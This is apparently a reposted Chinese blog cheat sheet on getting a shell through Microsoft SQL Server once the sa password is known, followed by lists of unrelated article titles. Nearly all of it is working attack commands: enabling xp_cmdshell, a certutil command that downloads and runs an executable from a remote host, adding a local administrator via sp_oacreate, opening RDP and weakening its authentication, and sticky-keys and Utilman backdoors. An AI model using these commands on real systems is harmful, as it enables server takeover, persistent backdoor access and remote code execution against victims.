GetShell 之:利用 SQLServer GetShell

1 SQLServer 基础操作

  1. 查看版本:select @@version;

  2. 查询所有的数据库名称:SELECT Name FROM Master..SysDatabases ORDER BY Name;

2 SQLServer 利用方式:已获得SA账号权限

如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。

2.1 xp_cmdshell

  1. 直接执行命令:

    exec master..xp_cmdshell 'whoami';

  2. 远程下载Payload并执行

    exec xp_cmdshell 'certutil -urlcache -split -f http://10.10.10.128/cc123.exe & cc123.exe'

  3. 以上命令需要启用xp_cmdshell,在 SQL Server 2005以后默认关闭,需要手动开启

    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 1;
    # 配置生效
    RECONFIGURE; # 命令一次开启:
    exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE; # 查看xp_cmdshell状态
    exec sp_configure; # 关闭xp_cmdshell
    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 0;
    # 配置生效
    RECONFIGURE;

  4. SQLServer 删除/恢复 xp_cmdshell

    # 判断是否删除xp_cmdshell,返回1代表存在:
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' # 在SQL Server 2005及之前的版本,删除xp_cmdshell:
    exec master..sp_dropextendedproc xp_cmdshell; # 恢复xp_cmdshell
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; # 恢复xp_cmdshell需要xplog70.dll,若管理员也将xplog70.dll删除,需要重新上传xplog70.dll:
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

2.2 sp_oacreate

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

  1. 开启sp_oacreate

    # 开启sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',1;reconfigure; # 关闭sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',0;reconfigure;
    exec sp_configure 'show advanced options',0;reconfigure; # 查看 sp_oacreate 状态
    exec sp_configure;
  2. 添加管理员

    # 开启
    exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
    # 添加用户
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add' # 添加用户到管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

2.3 远程连接目标主机

  1. 开启远程桌面

    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    
    # 查看远程桌面开启情况
    exec xp_cmdshell 'netstat -ano -p tcp'; # 开启防火墙
    exec xp_cmdshell 'netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow'; # 关闭:仅允许运行使用网络级别身份验证的远程桌面
    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','UserAuthentication','REG_DWORD',0;

2.4 替换粘滞键

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 在目标主机上点击5次shift键,弹出cmd窗口。

2.5 替换 Utilman.exe

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 点击锁屏页面左下角轻松使用按钮触发,自动弹出cmd

最后

最新文章

  1. [bzoj2732][HNOI2012]射箭
  2. IIS上部署Net.Core
  3. 关于discuz“终于解决“头像保存过程中发生网络错误,请重试"”的解决方法
  4. Topshelf入门
  5. 【Leetcode】【Medium】Pow(x, n)
  6. OpenSSL Command-Line HOWTO
  7. Python+Django+Eclipse 在Windows下快速开发自己的网站
  8. UIWebView获得内容的高 高度自适应 宽度自适应
  9. 2733: [HNOI2012]永无乡 - BZOJ
  10. 【ASP.NET Web API教程】5.1 HTTP消息处理器
  11. javascript IP验证
  12. 常用业务接口界面化 in python flask
  13. Day3 Python基础学习——文件操作、函数
  14. [转]Wing IDE 6.0 安装及算号器注册机代码
  15. day9 函数练习题
  16. DRF的视图和路由
  17. [转]如何在 Git 里撤销(几乎)任何操作
  18. Zabbix监控JVM内存
  19. After reading a picture than out a picture
  20. AXFR和IXFR区域传输及原理

热门文章

  1. .net 温故知新:【10】.NET ORM框架EFCore使用入门之CodeFirs、DBFirst
  2. SQL注入漏洞原理与利用
  3. Redis的数据被删除,占用内存咋还那么大?
  4. Burpsuite2022.1详细图文安装教程(含工具链接)
  5. Java工厂模式的最佳实践?
  6. 解决scapy库下找不到IP,TCP模板的问题
  7. C++可执行文件绝对路径获取与屏蔽VS安全检查
  8. Redis RDB 与AOF
  9. Faster RCNN论文阅读
  10. ArcGIS工具 - 按线分割面